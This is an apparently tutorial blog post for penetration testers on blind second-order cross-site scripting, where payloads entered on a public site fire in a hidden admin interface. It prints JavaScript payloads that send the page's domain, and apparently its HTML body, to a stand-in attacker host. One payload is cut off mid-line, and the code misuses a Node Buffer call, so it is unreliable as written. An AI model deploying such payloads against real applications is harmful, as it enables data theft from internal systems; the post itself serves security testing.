This is an advanced Cross-site Scripting (XSS) post, if you’re new to XSS maybe try this one first: What is Cross-site Scripting?
During Penetration Tests I often see testers utilising Cross-site Scripting attacks, popping an alert(1) and stopping there; additionally looking through the payloads used by other testers I often find one area missing. So if you’re a tester, think of the payloads that you deploy and think how you are testing for the type of vulnerability described below:
Imagine a target application: www.example.com, now imagine this application is managed by administrative users on admin.example.com. So if I create a user account and enter some profile details on the main, www, site they will be displayed to administrators on the admin website. This site is potentially protected by IP filtering, or potentially even internal-only and accessible either only when attached to the corporate LAN or over an approved VPN connection.
How do we assess, target, and compromise these applications?
Bear in mind that the assessor may not,initially, be aware the admin interface exists! Let’s step through the process, firstly the simplest cross-site scripting payload of course is the script-alert. Something like this:
Now consider if this payload executed successfully on an application to which you were blind (the admin application in the above example), the assessor would have no knowledge of this although this application could be attacked – it’s certainly within range. Now with a payload like this:
This is another fairly standard XSS payload, however consider what happens in the context of the above example; Yes if the payload successfully loads on the application to which we are currently blind we will see evidence of this in one of two ways – the first is a GET request in the logs of the attacker.example.com web server; alternatively if the host visiting the site has a restrictive outgoing firewall rule we may not see this but may instead only see an entry in the DNS logs of the authoritative name server for the attacker’s domain. This is the same theory as out-of-band SQL injection which I covered previously.
If we see this execute, although we’ll know the payload executed somewhere we won’t know where. A better payload then would be something like this:
<script> var req = new XMLHttpRequest(); output = new Buffer(document.domain, 'hex'); req.open("GET", "http://" + output + “.attacker.example.org/foo.txt"); req.send(); </script>
Here we’re taking the application’s name (admin.example.com) and hex encoding it, adding it as a subdomain to the attacker’s domain and transmitting it both via a DNS query and a HTTP GET request, allowing us to discover the vulnerable target’s name.
At this stage we know where we are executing and that it is likely interesting, however attacking functions requires a little more information – the dirtiest and yet most simple way of enumerating functions is to simply steal a copy of the page to take a look!
So changing the above payload such that it takes a copy of the affected page and transmits it to the attacker:
<script> var req = new XMLHttpRequest(); output = new Buffer(document.domain, 'hex'); req.open("POST", "http://" + output + “.attacker.example.org/foo.txt"); req.send(
Not Same-Origin Policy comes in to play here. This restricts two applications of differing domains from establishing bi-directional communications with each other, effectively meaning that a request can be send and will be processed, but the response cannot be read. However here it does not interfere with the attack as the cross-site request to the attackers domain will be transmitted and the response is not needed. For additional attacks from this point the requests will not be running cross-site but on-site, so SOP will not interfere.
The last payload takes the HTML body of the affected application and transmits it to the attacker which will reveal interesting functionality – once this is discovered additional attacks can target those functions through XMLHttpRequest using either a GET or POST function as above, simply store any stolen data to be exfiltrated in a variable and POST the variable back to attacker.example.com.
So here we’ve taken a look at how applications running on another origin but processing data from the same database can be targeted for second-order cross-site scripting, then how those sites can be targeted through enumerating the application and on-site request forgery. Definitely something worth looking out for!
This article is part of a series, want to read more?
What is Cross-site Scripting?
Cross-site Scripting, Lesson 2: Contexts
An Introduction to DOM-XSS
An Introduction to Content-Security-Policy
Life After the alert(1)